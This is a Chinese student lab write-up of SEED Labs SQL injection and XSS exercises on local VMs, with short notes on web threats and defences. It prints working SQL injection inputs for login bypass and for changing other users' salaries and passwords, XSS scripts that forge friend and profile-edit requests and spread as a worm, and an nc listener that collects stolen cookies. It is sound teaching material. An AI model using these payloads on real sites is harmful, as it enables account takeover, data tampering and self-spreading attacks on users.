72
社区成员




Web 应用体系结构
应用程序主要有两种模式:C/S、B/S。
C/S 是客户端/服务器端程序,而 B/S 就是浏览器端/服务器端应用程序,这类应用程序一般通过浏览器运行。Web 应用程序首先是“应用程序”,和用标准的程序语言编写出来的程序没有什么本质上的不同。然而 Web 应用程序又有第一无二的特点,就是它是基于 Web 的,而不是采用传统方法运行的。
一个 Web 应用程序是由完成特定任务的各种 Web 组件(web components)构成的并通过 Web 将服务展示给外界。在实际应用中,We b应用程序是由多个 Servlet、JSP 页面、HTML 文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。
Web 应用安全威胁
攻击 Web 服务器软件
Web 服务器软件是 Web 应用的承载体,也成为攻击者对 Web 应用实施攻击的首要目标之一。
针对 Web 服务器软件包的渗透攻击仍然存在,Web 服务器平台中的安全漏洞主要分为如下几大类。
数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在 Web 服务器上直接获得远程代码执行的权力,并以相当高的权限执行任意命令。
服务器功能扩展模块漏洞:Web 服务器软件通过一些功能扩展模块来为核心的 HTTP 引擎增加其他的功能,启动包括动态代码执行(如微软的 ASP)、站点检索(如 IIS 的索引服务)、Web 分布式写作与版本管理协议 WebDAV、SSL 加密协议等。这些扩展模块往往较 Web 服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。
样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web 服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对 Web 服务器实施攻击。
源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施 Web 服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。
资源解析攻击:Web 服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些 Web 服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
攻击 Web 数据内容
Web 站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露、网站内容遭受篡改,以及不良信息内容上传。
Web 应用安全防范措施
Web 站点网络传输安全设防措施:尽量使用 HTTPS 协议来保障 Web 站点传输时的保密性、完整性与身份真实性;通过加密的连接通道来管理 Web 站点,避免使用未经加密的 telnet、FTP、HTTP 来进行 Web 后台管理,而使用 SSH、SFTP 等安全协议;对关键的 Web 服务器,设置静态绑定 MAC-IP 映射,在服务网段内进行 ARP 等各类欺骗攻击的检测与 MAC 封禁机制。
Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的橾作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
Web 应用程序安全设防措施:应该认识到采用动态内容、支持用户输入的 Web 应用程序较静态 HTML 具有更高的安全风险;对于必须提供用户交互、采用动态页而的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的 Web 应用软件包;只在必要时候自主或外包开发 Web 应用程序;使用 Web 服务器软件提供的日志功能,对 Web 应用程序的所有访问请求进行日志记录与安全审计。
Web 站点数据安全设防措施:提商网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护。
SQL 注入
代码注入是针对 Web 应用程序的上流攻击技术之一,代码注入根据攻击目标的不同又分为:
SQL 注入(SQLi)是一种注入攻击,可以执行恶意 SQL 语句。它通过将任意 SQL 代码插入数据库查询,使攻击者能够完全控制 Web 应用程序后面的数据库服务器。攻击者可以使用 SQL 注入漏洞绕过应用程序安全措施;可以绕过网页或 Web 应用程序的身份验证和授权,并检索整个 SQL 数据库的内容;还可以使用 SQL 注入来添加,修改和删除数据库中的记录。
SQL 注入漏洞可能会影响使用 SQL 数据库(如 MySQL,Oracle,SQL Server 或其他)的任何网站或 Web 应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL 注入攻击是最古老,最流行,最危险的 Web 应用程序漏洞之一。
SQL 注入攻击防范措施
XSS 攻击技术原理
与代码注入类似,XSS 攻击的根源同样是 Web 应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的 Web 论坛、博客、留言本及其他允许用户交互的 Web 应用程序中,用户提交内容中可以包含 HTML、JavaScript 及其他脚本代码,而一旦 Web 应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
而与代码注入不同的是,XSS 攻击的最终攻击目标并非 Web 服务器,Web 服务器上的应用程序在 XSS 攻击场景中发挥的角色是“帮凶”,而非“受害者”,真正的“受害者”则是访问这些 Web 服务器的其他用户。
我们已经创建了一个Web应用程序,并将其托管在 http://www.seedlabsqlinjection.com/ 。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
我们已经创建了一个Web应用程序,并将其托管在 http://www.seedlabsqlinjection.com/ 。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。
任务1:熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
首先Ubuntu虚拟机终端更改主机名为个人姓名lanhaoshu。然后着键入命令:mysql -u root -pseedubuntu。登录已经有的数据库。其中 -u表示指定用户名, -p表示指定密码。
接着在终端内分别键入命令:use Users;和show tables; 查看数据库下面的表:
键入命令:select * from credential;。这个指令的作用是打印数据库中所有员工的信息:
上述Web应用存在SQL输入漏洞,任务是在密码未知的情况下登陆Web应用程序。
首先在虚拟机中浏览器打开网站:http://www.seedlabsqlinjection.com/ ,随机输入用户名和密码,界面显示如下:
ctrl+shift+e打开网页的开发者模式,查看页面源码:
表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验
打开一个终端,在其中键入命令:vim /var/www/SQLInjection/unsafe_home.php,查看上述网站的对应功能代码,可以看到其中用户信息和密码
进行登录操作时,代码功能区分admin和其他用户。并且用户信息表为credential:
在网页登录时,后台进行SQL的查询:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果输入的用户姓名为Admin'#,而Password为任意字段。那么上述查询语句就会改变:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'#’ and Password=’$hashed_pwd’
值得注意的是,#表示注释。可以将其后面的语句给注释掉。从而实现SQL攻击。
所以输入用户名:Admin'#,密码不限。可以进入该网站的管理员界面:
通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
在终端中执行命令:vim /var/www/SQLInjection/unsafe_edit_backend.php。,打开代码:
可以发现,员工在登陆时只可以修改自己的基本信息,不能修改工资数字。而同样的,此条UPDATE语句没有任何保护权限。
我们先登录一个员工的账户:
登录之后看到该员工薪资为20000,编辑其信息。
已知update时正确的处理语句为:
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id
在 NickName 那里输入语句 ', salary='1000 where Name='Alice'; #,则可以把update语句改为 UPDATE credential SET nickname='',salary='1000' where Name='Alice'; , # 后面的语句被注释了。这个时候点击 save 可以看到已经修改成功,证明攻击成功。
在不知道其他人密码的情况下修改其资料。修改其他人的工资也可以在Alice修改的界面的nickname输入 ', salary='30000' where name='Boby';# ,进入Boby的界面,发现工资已经成功修改。
修改其他用户的密码,因为密码在数据库中是以sha1的形式存储的,使用指令 echo -n '123'|sha1sum 输出密码123的sha1值为 40bd001563085fc35165329ea1ff5c5ecbdbbeef :
继续在Alice的账户登录进行操作,在edit profile的NickName那里填写: ', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#。
然后登陆Boby的账户,发现修改的123密码可以正常登录。
SQL注入漏洞的原因是将代码和数据放在一起,所以需要将他们区分开来。先使用占位符占位,获取到数据之后再进行填充,就可以避免注入攻击。
预处理语句在编译之后执行步骤之前出现。预处理语句将经过编译步骤,并转换为带有空数据占位符的预编译查询。要运行此预编译查询,需要提供数据,但这些数据不会通过编译步骤;相反,它们直接插入到预编译的查询中,并发送到执行引擎。因此,即使数据中有SQL代码,在不经过编译步骤的情况下,代码也将被简单地视为数据的一部分,没有任何特殊意义。这就是预处理语句防止SQL注入攻击的方式。
首先我们修改在unsafe_home.php中的sql语句为预处理语句,即将:
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; $result = $conn - query($sql);
修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $stmt->fetch();
使用预处理语句机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步是只发送代码部分,即没有实际数据的SQL语句。这是准备步骤。从上面的代码片段中我们可以看到,实际数据被问号(?)替换。在这一步之后,我们使用bind param()将数据发送到数据库。数据库将只将此步骤中发送的所有内容视为数据,而不再视为代码。它将数据绑定到准备好的语句的相应问号。在bind param()方法中,第一个参数“is”表示参数的类型:“i”表示 $id 中的数据具有整数类型,“s”表示 $pwd 中的数据具有字符串类型。
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
在Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看配置文件时,将执行JavaScript程序并显示一个警报窗口。
首先利用alice的账户 alice 和密码 seedalice 登录
在 Brief description 中插入XSS攻击代码 ,用于显示警告窗口:
点击Save后就能看到弹窗如图所示:
使用另一个用户(Boby)登录并查看Alice的profile,步骤:Boby登录,密码seedboby。more—>members—>Alice,则会看到如下警告窗口,即为攻击成功。
仍然在Alice账户,在其Brief description文本框中输入代码:,然后保存:
发现,会弹出提示框,显示当前cookie信息。
将cookie发送给攻击者
该任务中攻击者希望JavaScript代码将cookie发送给自己。
首先要将上文获得的cookie放入一个特殊构建的请求,向攻击者服务器发送这个请求。可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
嵌入的一段Javascript代码,其中本机 192.168.200.5 充当攻击者,JavaScript将cookies发送到攻击者机器的 5788 端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容:
攻击者执行 nc -l 5788 -v 命令,监听 5788 端口。其中 -l 指定端口, -v 显示详细信息当用户访问Alice profile时,打印出当前用户的cookies。
这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息
首先点击 Add Friend ,判断该web是如何发送HTTP请求的,点击web Developer中的Toggle tools:
此处让Alice自动添加Alice为好友,由上图可知Boby的id,为45:
在Boby的about me中( edit HTML模式 )添加Javascript代码如下:
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
以Boby的身份登录,访问Alice的主页,则会自动添加好友。
首先要用 开发者工具查看edit修改资料时,查看发送的指令:
根据教材上的代码,编写出如下程序,首先获取了访问者的 &__elgg_token= 、 __elgg_ts 、 &__name=elgg.session.user.name 和页面的其他信息。接下来按照上文的分析构建了请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST, 并设置请求头和其他信息,通过send函数发送请求。程序中的判断语句的作用是判断是否是 Alice 请求的,如果是则不作修改。
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
使用 Boby 账号登录,访问Alice的profile,即可成功修改boby的profile。
由蠕虫特性构造脚本:
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
将上述代码文件复制到Alice的about me文本框中,使其他用户访问Alice时会感染到蠕虫病毒:
使用 Boby 登录,并访问 Alice 的主页,发现被感染:
退出 Boby,使用 Samy 访问 Boby,则 Samy 被感染,蠕虫攻击成功:
利用管理员账户进行登录(用户名:admin密码:seedelgg),找到Account->administration->plugins,并且找到插件HTMLawed ,该插件的主要作用:对用户的输入输出进行校验并且去除特定标签。
再次访问alice,发现about me 直接显示出来,没有弹窗了。对抗XSS攻击成功。
本次实践动手操作了SQL注入和XSS攻击,大致明白了这两种攻击的原理和操作步骤,可能造成的危害以及一般防范方式,这对于提高网络攻防技能有很大的帮助。
《XXX第二版)》
《XXX》学习指导
...